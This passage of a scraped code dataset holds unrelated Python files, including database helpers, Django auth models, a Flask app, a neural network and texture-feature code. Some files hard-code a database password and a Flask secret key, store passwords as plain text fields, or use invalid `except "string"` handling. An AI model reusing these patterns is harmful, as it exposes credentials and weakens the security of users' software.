Error...!\")\n\n#3)Eof\n\n#4)Local db connecton Function -> return as dataframe -Updated 7/12/17\ndef VMX_TST_Read_Query(query):\n try:\n cnxn = pyodbc.connect(driver='{SQL Server}', server='OKCSQLTST087\\TEST', database='VuMaxDR',\n uid=\"Vmx_vumaxadmin\",pwd=\"vumaxadmin\",trusted_connection=\"no\")\n cur = cnxn.cursor()\n df = psql.read_sql(query, cnxn)\n cnxn.close()\n #print(df)\n return df\n except \"VuMax TST Query Error...!\":\n print(\"VuMax TST Query Error...!\")\n\n#4)Eof\n\n#5)Write dataframe to CSV -> return conf message -Updated 7/xx/17\ndef export_DF_To_CSV(dataframe, fileName):\n try:\n dataframe.to_csv(fileName)\n print(\"The data frame \" + fileName + \" has been written successfully!\")\n except \"Error\":\n print(\"Write file error?\")\n#5)Eof\n\n#5)Read CSV data in dataframe -> return dataframe -Updated 7/xx/17\ndef import_CSV_to_DF(fileName):\n try:\n table = pd.read_csv(fileName)\n print(\"The file \" + fileName + \" has been read successfully!\")\n return table\n except \"Error\":\n print(\"Read file error?\")\n#6)Eof\n","sub_path":"CUC Export Files 8_7_17/Data_Model.py","file_name":"Data_Model.py","file_ext":"py","file_size_in_byte":2721,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"180811007","text":"import matplotlib.pyplot as pyplot\nimport math\n\ndef principal():\n valores_de_x = [] #lista de valores de x\n valores_de_y = [] #lista de valores de y\n x = -2\n for i in range(100):\n x = x + 0.05\n valores_de_x.append(x) #adiciona valores de x na lista\n for x in valores_de_x:\n y = f(x)\n valores_de_y.append(y) #adiciona valores calculados de y na lista\n pyplot.plot(valores_de_x,valores_de_y) #plota valores\n pyplot.xlabel('X')\n pyplot.ylabel('Y')\n pyplot.show() #mostra o gráfico\n\ndef f(x):\n if (-2) <= x and x <=0:\n return (1 / math.sqrt(2)) * (math.cos(math.pi*x) - math.sin((math.pi*x)/2) + 1)\n if 0 < x and x<= 2:\n return (1 / math.sqrt(2)) * (math.cos(math.pi*x) + math.sin((math.pi*x)/2) + 1)\n else:\n return 0\n\nprincipal()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":779,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"450513140","text":"if __name__ == '__main__':\n import os\n import numpy as np\n import pandas as pd\n from IRWLS import *\n import argparse\n import time\n \n parser = argparse.ArgumentParser(description='find prior and nonprior predictions, save to csv')\n \n parser.add_argument('--types', '-t', nargs='?', type=int, \n default=3, help='number of types')\n parser.add_argument('--pixels', '-p', nargs='?', type=int, \n default=2000, help='number of pixels')\n parser.add_argument('--index', '-i', nargs='?', type=int, \n default=0, help='index of cluster file')\n parser.add_argument('--iters', '-it', nargs='?', type=int,\n default=15, help='number of iterations for alt max')\n args = parser.parse_args()\n \n data_path = os.path.join(os.getcwd(),\"data\")\n X_vals = np.genfromtxt(os.path.join(data_path,\"X_vals.csv\"),delimiter=\",\",skip_header=1)\n Q_mat = np.genfromtxt(os.path.join(data_path,\"Q_mat.csv\"),delimiter=\",\",skip_header=1)\n\n clusters = pd.read_csv(os.path.join(data_path,\n \"clusters_B-\"+\n str(args.types)+\"-\"+\n str(args.pixels)+\"-\"+\n str(args.index)+\".csv\"))\n \n B = pd.read_csv(os.path.join(data_path, \"B-\"+\n str(args.types)+\"-\"+\n str(args.pixels)+\"-\"+\n str(args.index)+\".csv\"), delimiter=',', index_col=0).to_numpy()\n \n nUMI = np.loadtxt(os.path.join(data_path, \"nUMI-\"+\n str(args.types)+\"-\"+\n str(args.pixels)+\"-\"+\n str(args.index)+\".csv\"), delimiter=',',)\n \n test = IRWLS(nUMI = nUMI\n , B = B, X_vals = X_vals, Q_mat = Q_mat)\n \n cluster_init = np.array([B.T[clusters['x'].eq(i)].mean(axis=0) for i in range(args.types)]).T\n \n start_time = time.time()\n prior = np.ones(args.types) * 0.3 / args.types\n prior_output, plls = test.alt_max(cluster_init,\n reset=False, prior = prior, iters=args.iters, parallel = True, return_lls=True)\n print(\"time elapsed\",time.time()-start_time)\n \n start_time = time.time()\n noprior_output, nlls = test.alt_max(cluster_init,\n reset=False, prior = None, iters=args.iters, parallel = True, return_lls=True)\n print(\"time elapsed\",time.time()-start_time)\n \n \n \n np.savetxt(os.path.join(data_path,\"prior-curr_S\"+\"-\"+\n str(args.types)+\"-\"+\n str(args.pixels)+\"-\"+\n str(args.index)+\".csv\"), prior_output[0])\n np.savetxt(os.path.join(data_path,\"prior-curr_W\"+\"-\"+\n str(args.types)+\"-\"+\n str(args.pixels)+\"-\"+\n str(args.index)+\".csv\"), prior_output[1])\n \n np.savetxt(os.path.join(data_path,\"noprior-curr_S\"+\"-\"+\n str(args.types)+\"-\"+\n str(args.pixels)+\"-\"+\n str(args.index)+\".csv\"), noprior_output[0])\n np.savetxt(os.path.join(data_path,\"noprior-curr_W\"+\"-\"+\n str(args.types)+\"-\"+\n str(args.pixels)+\"-\"+\n str(args.index)+\".csv\"), noprior_output[1])\n \n np.savetxt(os.path.join(data_path,\"prior-lls\"+\"-\"+\n str(args.types)+\"-\"+\n str(args.pixels)+\"-\"+\n str(args.index)+\".csv\"), plls)\n np.savetxt(os.path.join(data_path,\"noprior-lls\"+\"-\"+\n str(args.types)+\"-\"+\n str(args.pixels)+\"-\"+\n str(args.index)+\".csv\"), nlls)\n","sub_path":"src/gen_pred.py","file_name":"gen_pred.py","file_ext":"py","file_size_in_byte":4164,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"151396210","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models\nfrom django.conf import settings\nfrom UserModel import *\nimport uuid\nimport datetime\n\n# Create your models here.\nclass UserManager(models.Manager):\n def create_user(self, user):\n user_model = self.create(name=user.name, user_name=user.user_name,\n password=user.password, email=user.email)\n return user_model\n\n def find_user_by_user_name(self, user_name):\n user = self.get(user_name=user_name)\n return user\n\n def find_user_by_user_id(self, user_id):\n user = self.get(id=user_id)\n return user\n\nclass User(models.Model):\n name = models.CharField(max_length=30)\n user_name = models.CharField(max_length=50, unique=True)\n password = models.CharField(max_length=50)\n email = models.EmailField(verbose_name='email address', max_length=254, unique=True)\n objects = UserManager()\n def __str__(self):\n return self.user_name\n\n\n#ROL Model\nclass RolManager(models.Manager):\n def create_rol_for_user(self, user, rol):\n rol_model = self.create(user=user, rol=rol)\n return rol_model\n \n def find_rol_by_user_id(self, user_id):\n rol = self.get(user_id=user_id)\n return rol\n\nclass Rol(models.Model):\n rol = models.CharField(max_length=50)\n user = models.ForeignKey(User, on_delete=models.CASCADE)\n objects = RolManager()\n\n\n#Auth Token Model\nclass AuthTokenManager(models.Manager):\n def create_token_for_user(self, user):\n token = uuid.uuid4().hex\n last_activation = datetime.datetime.utcnow()\n token_model = self.create(token=token,last_activation=last_activation,\n user=user)\n return token_model\n\n def find_token_by_user_id(self, user_id):\n token = self.get(user_id = user_id)\n return token\n \n def update_last_activate_token(self, token_id):\n token = self.get(id=token_id)\n token.last_activation = datetime.datetime.utcnow()\n token.save()\n return token\n def find_token_by_value(self, token):\n real_token = self.get(token=token)\n return real_token\n\n\nclass Token(models.Model):\n token = models.CharField(max_length=254, unique=True)\n date_created = models.DateField(auto_now=True)\n last_activation = models.DateTimeField()\n user = models.ForeignKey(User, on_delete=models.CASCADE)\n objects = AuthTokenManager()\n ","sub_path":"ERP/Authentication/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2439,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"78604318","text":"from five import grok\nfrom opengever.activity import notification_center\nfrom opengever.base.browser.resolveoguid import ResolveOGUIDView\nfrom opengever.ogds.base.utils import ogds_service\nfrom plone import api\nfrom Products.CMFPlone.interfaces import IPloneSiteRoot\nfrom zExceptions import NotFound\nfrom zExceptions import Unauthorized\n\n\nclass ResolveNotificationView(ResolveOGUIDView):\n grok.name('resolve_notification')\n grok.context(IPloneSiteRoot)\n grok.require('zope2.View')\n\n def render(self):\n notification_id = self.request.get('notification_id', '')\n center = notification_center()\n self.notification = center.get_notification(notification_id)\n\n if not self.notification:\n raise NotFound('Invalid notification_id ({}) is given'.format(\n self.request.get('notification')))\n\n if not self.check_permission():\n raise Unauthorized()\n\n self.mark_as_read()\n self.redirect()\n\n def check_permission(self):\n \"\"\"Check if the current user is allowed to view the notification.\"\"\"\n\n current_user = api.user.get_current()\n return self.notification.userid == current_user.getId()\n\n def mark_as_read(self):\n self.notification.is_read = True\n\n def redirect(self):\n \"\"\"Redirect to the affected resource. If the resource is stored\n in an other admin_unit than the current one, it redirects to the\n resolve_oguid view on this admin_unit.\"\"\"\n\n oguid = self.notification.activity.resource.oguid\n\n if oguid.is_on_current_admin_unit:\n url = oguid.resolve_object().absolute_url()\n\n else:\n admin_unit = ogds_service().fetch_admin_unit(oguid.admin_unit_id)\n url = ResolveOGUIDView.url_for(oguid, admin_unit)\n\n return self.request.RESPONSE.redirect(url)\n","sub_path":"opengever/activity/browser/resolve.py","file_name":"resolve.py","file_ext":"py","file_size_in_byte":1852,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"569335699","text":"import sys\nsys.stdin = open(\"문자열 비교_input.txt\")\nT = int(input())\nfor tc in range(1, T+1):\n S1 = input()\n S2 = input()\n L1 = len(S1)\n L2 = len(S2)\n result = 0\n for i in range(L2-L1+1):\n cnt = 0\n for j in range(L1):\n if S1[j] != S2[i+j]:\n break\n else:\n cnt += 1\n if cnt == L1:\n result = 1\n\n print('#{} {}'.format(tc, result))\n\n\n\n\n","sub_path":"work/실습/3. String/문자열 비교.py","file_name":"문자열 비교.py","file_ext":"py","file_size_in_byte":451,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"264625594","text":"from django import forms\nfrom django.contrib.auth.models import User\nfrom django.contrib.auth.forms import UserCreationForm\nfrom django.forms import (\n\n Select,\n Textarea,\n DateInput,\n TextInput,\n EmailInput,\n NumberInput,\n PasswordInput,\n SelectDateWidget,\n\n)\n\nfrom .models import Customer, Product, Invoice\n\n\nclass CreateCustomerForm(forms.ModelForm):\n class Meta:\n model = Customer\n\n fields = ['customer_name', 'address', 'email']\n # fields = '__all__'\n\n widgets = {\n 'customer_name': TextInput(attrs={'class': 'form-control'}),\n 'address': TextInput(attrs={'class': 'form-control'}),\n 'email': EmailInput(attrs={'class': 'form-control'}),\n\n }\n\n\nclass CreateProductForm(forms.ModelForm):\n class Meta:\n model = Product\n\n fields = ['product_name', 'category', 'description']\n\n widgets = {\n 'product_name': TextInput(attrs={'class': 'form-control'}),\n 'category': TextInput(attrs={'class': 'form-control'}),\n 'description': Textarea(attrs={'class': 'form-control'}),\n\n }\n\n\nclass CreateInvoiceForm(forms.ModelForm):\n class Meta:\n model = Invoice\n\n fields = ['customer', 'currency', 'date', 'item_code', 'item_description', 'quantity', 'unit_price',\n 'discount']\n\n widgets = {\n 'customer': Select(attrs={'class': 'form-control'}),\n 'currency': Select(attrs={'class': 'form-control'}),\n 'date': SelectDateWidget(attrs={'class': 'custom-select'}),\n 'item_code': TextInput(attrs={'class': 'custom-select'}),\n 'item_description': Select(attrs={'class': 'custom-select'}),\n 'quantity': NumberInput(attrs={'class': 'custom-select'}),\n 'unit_price': NumberInput(attrs={'class': 'custom-select'}),\n 'discount': NumberInput(attrs={'class': 'custom-select'}),\n # 'total': NumberInput(attrs={'class': 'custom-select'}),\n\n }\n\n","sub_path":"products_invoices/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":2018,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"135118293","text":"# 펠린드롭 01\r\ndef is_palindrome1(word):\r\n word = list(word)\r\n reverse = word[-1: : -1]\r\n return word == reverse\r\n\r\n# 펠린드롭 02\r\ndef is_palindrome2(word):\r\n for left in range(len(word) // 2):\r\n # 한 쌍이라도 일치하지 않으면 바로 False를 리턴하고 함수를 끝냄\r\n right = len(word) - left - 1\r\n if word[left] != word[right]:\r\n return False\r\n # for문에서 나왔다면 모든 쌍이 일치\r\n return True\r\n# 테스트\r\nprint(is_palindrome1(\"racecar\"))\r\nprint(is_palindrome1(\"stars\"))\r\nprint(is_palindrome2(\"토마토\"))\r\nprint(is_palindrome2(\"kayak\"))\r\nprint(is_palindrome1(\"hello\"))","sub_path":"palin.py","file_name":"palin.py","file_ext":"py","file_size_in_byte":663,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"588018530","text":"import random as rand\nimport math\nimport numpy as np\n\n\nclass Neuron:\n def __init__(self, **kwargs):\n self.weights = kwargs.get('weights', None)\n self.bias = kwargs.get('bias', 1)\n input_num = kwargs.get('input_num', 2)\n if self.weights is None:\n self.weights = []\n for i in range(input_num + 1):\n self.weights.append(rand.random() * 2 - 1)\n\n def output(self, input_row):\n result = 0\n # result = sum(np.multiply([1] + input_row, self.weights))\n # result = sum([x * w for x, w in zip([1] + input_row, self.weights)])\n for x, w in zip([1] + input_row, self.weights):\n result += x * w\n return 1 / (1 + math.exp(-result * self.bias))\n\n def delta(self, output_weights, output_deltas, desired_output, output):\n result = output * (1 - output) * self.bias\n if desired_output is not None:\n result *= desired_output - output\n else:\n result *= sum([w * d for (w, d) in zip(output_weights, output_deltas)])\n return result\n\n def teach(self, input_row, delta, t_step):\n return [i * t_step * delta for i in [1] + input_row]\n\n\nclass Layer:\n def __init__(self, neuron_num, input_num):\n self.neurons = []\n for i in range(neuron_num):\n self.neurons.append(Neuron(input_num=input_num))\n self.inputs = None\n\n def output(self):\n return [n.output(self.inputs) for n in self.neurons]\n\n def weights_for_inputs(self):\n return np.array([n.weights[1:] for n in self.neurons]).transpose()\n\n def mod_weights(self, delta_weights):\n for n, dw in zip(self.neurons, delta_weights):\n n.weights = np.add(n.weights, dw)\n\n def get_weights(self):\n return [n.weights for n in self.neurons]\n\n def deltas(self, **kwargs):\n output_weights = kwargs.get('output_weights', None)\n output_deltas = kwargs.get('output_deltas', None)\n desired_output = kwargs.get('desired_output', None)\n calc_output = kwargs.get('calc_output', None)\n if desired_output is None:\n result = [n.delta(weights, output_deltas, None, output) for n, weights, output\n in zip(self.neurons, output_weights, calc_output)]\n else:\n result = [n.delta(None, None, desired, output) for n, desired, output\n in zip(self.neurons, desired_output, calc_output)]\n return result\n\n def teach_row(self, deltas, t_step):\n return [n.teach(self.inputs, delta, t_step) for n, delta in zip(self.neurons, deltas)]\n\n\nclass Network:\n def __init__(self, depth, width, input_num):\n self.layers = [Layer(width[0], input_num)]\n self.input_num = input_num\n for d in range(depth - 1):\n self.layers.append(Layer(width[d + 1], width[d]))\n\n def output(self, input_row):\n for l in self.layers:\n l.inputs = input_row\n input_row = l.output()\n return input_row\n\n def full_output(self, input_row):\n self.layers[0].inputs = input_row\n result = [self.layers[0].output()]\n for l in self.layers[1:]:\n l.inputs = result[-1]\n result.append(l.output())\n return result\n\n def effectiveness(self, test_set):\n result = 0\n for (row, exp) in test_set:\n # result += sum([math.fabs(o - y) for o, y in zip(self.output(row), exp)]) / len(exp)\n my_list = self.output(row)\n max_value = max(my_list)\n max_index = my_list.index(max_value)\n if exp[max_index] == 1:\n result += 1\n # return 1 - result / len(test_set)\n return result / len(test_set)\n\n def teach_row(self, input_row, desired_output, t_step):\n full_output = self.full_output(input_row)\n weights = self.layers[-1].weights_for_inputs()\n deltas = self.layers[-1].deltas(desired_output=desired_output, calc_output=full_output[-1])\n delta_weights = [self.layers[-1].teach_row(deltas, t_step)]\n for l, out in zip(reversed(self.layers[:-1]), reversed(full_output[:-1])):\n deltas = l.deltas(output_weights=weights, output_deltas=deltas, calc_output=out)\n delta_weights.append(l.teach_row(deltas, t_step))\n weights = l.weights_for_inputs()\n return delta_weights\n\n def teach_batch(self, t_batch, t_step):\n delta_weights = self.teach_row(t_batch[0][0], t_batch[0][1], t_step)\n for row in t_batch[1:]:\n new_dw = self.teach_row(row[0], row[1], t_step)\n delta_weights = [np.add(dw1, dw2) for dw1, dw2 in zip(delta_weights, new_dw)]\n delta_weights = [np.divide(dw, len(t_batch)) for dw in delta_weights]\n for l, w in zip(self.layers, delta_weights[::-1]):\n l.mod_weights(w)\n\n def teach(self, teaching_set, validating_set, batch_size, t_step, max_iter=1000):\n for i in range(max_iter):\n rand.shuffle(teaching_set)\n batch_num = 0\n for batch in [teaching_set[i:i + batch_size] for i in range(0, len(teaching_set), batch_size)]:\n self.teach_batch(batch, t_step)\n batch_num += 1\n print(str(i) + ' tset ' + str(self.effectiveness(teaching_set)))\n print(str(i) + ' vset ' + str(self.effectiveness(validating_set)))\n\n\ndef test1():\n l = Layer(4, 2)\n print([n.weights for n in l.neurons])\n print(l.weights_for_inputs())\n l.inputs = [1, 0]\n print(l.deltas(desired_output=1))\n\n\ndef test2():\n n = Network(2, [4, 2], 2)\n for l in n.layers:\n print(l.weights_for_inputs())\n print(n.teach_row([1, 0], [0, 1], 1))\n\n\ndef test3():\n n = Network(2, [4, 2], 2)\n for l in n.layers:\n print(l.weights_for_inputs())\n n.teach_batch([[[1, 0], [0, 1]]], 1)\n print(\"after\")\n for l in n.layers:\n print(l.weights_for_inputs())\n\n\ndef test4():\n t_set = [([0, 0], [0]), ([1, 1], [0]), ([0, 1], [1]), ([1, 0], [1])]\n net = Network(2, [3, 1], 2)\n net.teach(t_set, t_set, 4, 1)\n print(net.output([0, 0]))\n print(net.output([1, 1]))\n print(net.output([0, 1]))\n print(net.output([1, 0]))\n","sub_path":"mlp1.py","file_name":"mlp1.py","file_ext":"py","file_size_in_byte":6193,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"179928549","text":"import math\n\n\ndef leitura():\n \n arq = input(\"Digite o nome do arquivo csv de entrada: \")\n\n f = open(arq+\".csv\", \"r\")\n\n coluna = 0\n missingIds = []\n i = 0\n valores = []\n nonMissing = 0\n\n while True:\n coluna = int(input(\"Digite o numero da coluna: \"))\n if(coluna == 0 or coluna == 1 or coluna < 0 or coluna >= 5):\n print(\"Coluna inválida. Tente outra.\")\n else:\n break\n\n for line in f:\n if i == 0:\n i = i+1\n continue\n \n s = line.replace(\"\\n\",\"\")\n a = s.split(\",\")\n if(a[coluna] != '?'):\n valores.append(int(a[coluna]))\n nonMissing = nonMissing+1\n else:\n missingIds.append(i)\n i=i+1\n\n # Calculando moda\n if valores.count(0) >= valores.count(1) and valores.count(0) >= valores.count(2):\n moda = 0\n elif valores.count(1) >= valores.count(0) and valores.count(1) >= valores.count(2):\n moda = 1\n else:\n moda = 2\n\n #Calculando média\n media = math.ceil(sum(valores)/nonMissing)\n\n #Calculando mediana\n valores.sort()\n if len(valores)%2 == 0:\n meio = int(len(valores)/2)\n mediana = math.ceil( (valores[meio] + valores[meio+1])/2 )\n else:\n mediana = valores[int(len(valores)/2)]\n\n f.close()\n\n return {\n \"media\":media,\n \"moda\":moda,\n \"mediana\":mediana,\n \"missing\":missingIds,\n \"coluna\":coluna,\n \"arq\":arq\n }\n\ndef main():\n\n res = leitura()\n print(\"Selecione o tipo de substituição a ser utilizado: ( 1-Media | 2-Mediana | 3-Moda )\")\n op = int(input())\n\n print(\"Mostrando os valores calculados para cada uma das 3 opções de substituição: \")\n print()\n print(\"Media = \",res[\"media\"])\n print(\"Mediana = \",res[\"mediana\"])\n print(\"Moda = \",res[\"moda\"])\n print()\n\n if op == 3:\n val = res[\"moda\"]\n elif op == 2:\n val = res[\"mediana\"]\n else:\n val = res[\"media\"]\n\n escrita(op,val,res[\"missing\"],res[\"coluna\"],res[\"arq\"])\n\n\n\ndef escrita(op,val,missingIds,coluna,arq):\n\n\n f = open(arq+\".csv\", \"r\")\n f2 = open(\"result.csv\", \"w\")\n\n i=0\n for line in f:\n if i == 0:\n f2.write(line)\n i=i+1\n continue\n \n if i in missingIds:\n s = line.replace(\"\\n\",\"\")\n a = s.split(\",\")\n\n a[coluna] = str(val)\n\n wline = str(a[0])+''.join(\",\"+j for j in a[1::])+'\\n'\n f2.write(wline)\n else:\n f2.write(line)\n\n i = i+1\n\n\n f.close()\n f2.close()\n\n\n\nmain()","sub_path":"tarefa2/tarefa2.py","file_name":"tarefa2.py","file_ext":"py","file_size_in_byte":2619,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"384171060","text":"\"\"\"\r\nConfigure Security Policy\r\n\"\"\"\r\n\r\n__author__ = ['Sasikumar Sekar']\r\n__contact__ = 'sasik@juniper.net'\r\n__copyright__ = 'Juniper Networks Inc.'\r\n__date__ = '2017'\r\n\r\n\r\ndef configure_groups_global_policy(device=None, from_zone=None, to_zone=None, policy_name=None,\r\n source_address=None, destination_address=None,\r\n application=None, action=None, default_policy_action=None,\r\n global_policy=False, scheduler_name=None,\r\n default_policy=False, commit=False):\r\n \"\"\"\r\n Configuring groups global policy configuration on the box\r\n\r\n :Example:\r\n python: configure_groups_global_policy(device=router_handle, from_zone=trust, to_zone=untrust,\r\n policy_name=p1, commit=True)\r\n robot:\r\n configure groups global policy device=router_handle from_zone=trust\r\n to_zone=untrust policy_name=p1 commit=${TRUE}\r\n\r\n configure groups global policy device=${dh} default_policy=${True}\r\n default_policy_action=deny\r\n configure groups global policy device=${dh} from_zone=trust\r\n to_zone=untrust policy_name=p1\r\n scheduler_name=daily_scheduler\r\n configure groups global policy device=${dh} global_policy=${True}\r\n policy_name=p1 source_address=${source}\r\n destination_address=${destination}\r\n application=any action=permit\r\n configure groups global policy device=${dh} from_zone=trust\r\n to_zone=untrust policy_name=p1\r\n source_address=${source} destination_address=${destination}\r\n application=any action=deny\r\n\r\n :param str device:\r\n \t**REQUIRED** device handler\r\n :param str from_zone:\r\n \t*OPTIONAL* Define a policy context from this zone\r\n :param str to_zone:\r\n \t*OPTIONAL* Destination zone\r\n :param str policy_name:\r\n \t*OPTIONAL* Security policy name\r\n :param list source_address:\r\n *OPTIONAL* Match source address\r\n :param list destination_address:\r\n \t*OPTIONAL* Match destination address\r\n :param list application:\r\n *OPTIONAL* Port-based application\r\n :param str action:\r\n \t*OPTIONAL* Specify policy action to take when packet match criteria\r\n :param str default_policy_action:\r\n *OPTIONAL* default policy action.\r\n :param str scheduler_name:\r\n *OPTIONAL* Name of security scheduler\r\n :param bool global_policy:\r\n *OPTIONAL* Define a global policy context. Default value: commit=False\r\n :param bool default_policy:\r\n *OPTIONAL* Configure default action when no user-defined policy match\r\n Default value: commit=False\r\n :param bool commit:\r\n *OPTIONAL* Whether to commit at the end or not. Default value: commit=False\r\n :return:\r\n \t* ``True`` when policy configuration is entered\r\n :raises Exception: when mandatory parameter is missing\r\n\r\n \"\"\"\r\n if device is None:\r\n\r\n raise Exception(\"'device' is mandatory parameter for this function\")\r\n\r\n cmd = 'set groups global security policies '\r\n\r\n if global_policy:\r\n cmd = cmd + ' global '\r\n\r\n if from_zone is not None and to_zone is not None:\r\n cmd = cmd + ' from-zone ' + from_zone + ' to-zone ' + to_zone\r\n\r\n if policy_name is not None:\r\n cmd = cmd + ' policy ' + policy_name\r\n\r\n if default_policy:\r\n cmd = cmd + ' default-policy '\r\n\r\n if scheduler_name is not None:\r\n cmd = cmd + ' scheduler-name ' + scheduler_name\r\n\r\n if source_address is not None:\r\n if isinstance(source_address, list):\r\n for temp in source_address:\r\n device.config(command_list=[cmd + ' match source-address ' + temp])\r\n else:\r\n device.config(command_list=[cmd + ' match source-address ' + source_address])\r\n if destination_address is not None:\r\n if isinstance(destination_address, list):\r\n for temp in destination_address:\r\n device.config(command_list=[cmd + ' match destination-address ' + temp])\r\n else:\r\n device.config(command_list=[cmd + ' match destination-address ' + destination_address])\r\n if application is not None:\r\n if isinstance(application, list):\r\n for temp in application:\r\n device.config(command_list=[cmd + ' match application ' + temp])\r\n else:\r\n device.config(command_list=[cmd + ' match application ' + application])\r\n\r\n if action is not None:\r\n device.config(command_list=[cmd + ' then ' + action])\r\n\r\n elif default_policy_action is not None:\r\n device.config(command_list=[cmd + default_policy_action])\r\n\r\n else:\r\n device.config(command_list=[cmd])\r\n\r\n if commit:\r\n return device.commit(timeout=60)\r\n else:\r\n return True\r\n","sub_path":"NITA/lib/jnpr/toby/security/policy/groups_global_security_policy.py","file_name":"groups_global_security_policy.py","file_ext":"py","file_size_in_byte":4924,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"255730405","text":"import os\nfrom flask import Flask, session, redirect, url_for, abort, render_template, flash, request\nfrom connMySQL import connMySQL\n\n######################################\n# use connMySQL:\n#cursor = connMySQL().cursor()\n#sql = \"select * from entries limit 10\"\n#try:\n# cursor.execute(sql)\n# data = cursor.fetchall()\n# print data\n#except Exception, e:\n# print e\n# sys.exit()\n######################################\n\n# static\n\n#os.urandom(12)\n\napp = Flask(__name__)\napp.secret_key = '\\x9e\\xa3$\\x07h^[`\\x99m'\n\n@app.route('/', methods=['GET', 'POST'])\ndef index():\n if request.method == 'GET':\n flash(\"GET Successed visit!\")\n else:\n flash(\"NOT GET!\")\n return render_template('index.html')\n\nif __name__ == '__main__':\n #app.run(host='192.168.221.128', port=80)\n app.run(host='0.0.0.0', port=8080)\n","sub_path":"flaskr/flaskr.py","file_name":"flaskr.py","file_ext":"py","file_size_in_byte":836,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"373479997","text":"'''\nCreated on 18 de jul de 2016\nCompute the GLRLM matrix\n@author: romue\n'''\n\nimport numpy as np\nfrom scipy.ndimage import rotate\n\ndef glrlm(im, nBins, angle):\n \n b = im\n nbits = nBins\n matrix = np.zeros((len(np.unique(b)),nbits))\n \n if angle == 0:\n for j in b:\n a = j\n atual = a[0]\n acc = 0\n i = 1\n while (True):\n \n if atual == a[i]:\n acc += 1\n i += 1 \n else:\n matrix[atual,acc] += 1\n atual = a[i]\n acc = 0\n i += 1\n if i == len(a):\n matrix[atual,acc] += 1\n break\n if angle == 90:\n b = np.rot90(b)\n for j in b:\n a = j\n atual = a[0]\n acc = 0\n i = 1\n while (True):\n \n if atual == a[i]:\n acc += 1\n i += 1 \n else:\n matrix[atual,acc] += 1\n atual = a[i]\n acc = 0\n i += 1\n if i == len(a):\n matrix[atual,acc] += 1\n break\n \n if angle == 45:\n b = rotate(b,45)\n for j in b:\n a = j\n atual = a[0]\n acc = 0\n i = 1\n while (True):\n if atual == a[i]:\n acc += 1\n i += 1 \n else:\n if atual != 0:\n matrix[atual,acc] += 1\n atual = a[i]\n acc = 0\n i += 1\n if i == len(a):\n if atual != 0:\n matrix[atual,acc] += 1\n break\n if angle == 135:\n b = np.rot90(rotate(b,45))\n for j in b:\n a = j\n atual = a[0]\n acc = 0\n i = 1\n while (True):\n if atual == a[i]:\n acc += 1\n i += 1 \n else:\n if atual != 0:\n matrix[atual,acc] += 1\n atual = a[i]\n acc = 0\n i += 1\n if i == len(a):\n if atual != 0:\n matrix[atual,acc] += 1\n break\n \n return features(matrix)\n \ndef features(gl):\n '''\n -------------------------------------------\n Current supported statistics include:\n -------------------------------------------\n Short Run Emphasis (SRE)\n Long Run Emphasis (LRE)\n Gray-Level Nonuniformity (GLN)\n Run Length Nonuniformity (RLN)\n Run Percentage (RP)\n Low Gray-Level Run Emphasis (LGRE)\n High Gray-Level Run Emphasis (HGRE)\n Short Run Low Gray-Level Emphasis (SRLGE)\n Short Run High Gray-Level Emphasis (SRHGE)\n Long Run Low Gray-Level Emphasis (LRLGE)\n Long Run High Gray-Level Emphasis (LRHGE)\n --------------------------------------------\n '''\n\n GLRLM = gl\n numGLRLM = 1 \n \n # 11 statistics for each GLRLM\n \n tGLRLM = GLRLM;\n\n s = tGLRLM.shape\n c_vector = np.array(range(1,s[0]+1))\n r_vector = np.array(range(1,s[1]+1))\n\n c_matrix,r_matrix = np.meshgrid(c_vector,r_vector);\n c_matrix = c_matrix+1\n r_matrix = r_matrix+1\n\n N_runs = np.sum(tGLRLM)\n\n N_tGLRLM = s[0]*s[1];\n\n #--------------------Prepare four matrix for speedup--------------\n # 2.Gray-Level Run-Number Vector\n p_g = np.sum(tGLRLM,axis=0);\n\n # 3.Run-Length Run-Number Vector\n p_r = np.sum(tGLRLM,axis=1);\n \n #------------------------Statistics-------------------------------\n # 1. Short Run Emphasis (SRE)\n SRE = np.sum(p_r/(c_vector**2))/N_runs;\n\n # 2. Long Run Emphasis (LRE)\n LRE = np.sum(p_r*(c_vector**2))/N_runs;\n # 3. Gray-Level Nonuniformity (GLN)\n GLN = np.sum(p_g**2)/N_runs;\n # 4. Run Length Nonuniformity (RLN)\n RLN = np.sum(p_r**2)/N_runs;\n # 5. Run Percentage (RP)\n RP = N_runs/N_tGLRLM;\n # 6. Low Gray-Level Run Emphasis (LGRE)\n LGRE = np.sum(p_g/(r_vector**2))/N_runs;\n # 7. High Gray-Level Run Emphasis (HGRE)\n HGRE = np.sum(p_g*r_vector**2)/N_runs;\n # 8. Short Run Low Gray-Level Emphasis (SRLGE)\n SGLGE =calculate_SGLGE(tGLRLM,r_matrix.T,c_matrix.T,N_runs);\n # 9. Short Run High Gray-Level Emphasis (SRHGE)\n SRHGE =calculate_SRHGE(tGLRLM,r_matrix.T,c_matrix.T,N_runs);\n # 10. Long Run Low Gray-Level Emphasis (LRLGE)\n LRLGE =calculate_LRLGE(tGLRLM,r_matrix.T,c_matrix.T,N_runs);\n # 11.Long Run High Gray-Level Emphasis (LRHGE\n LRHGE 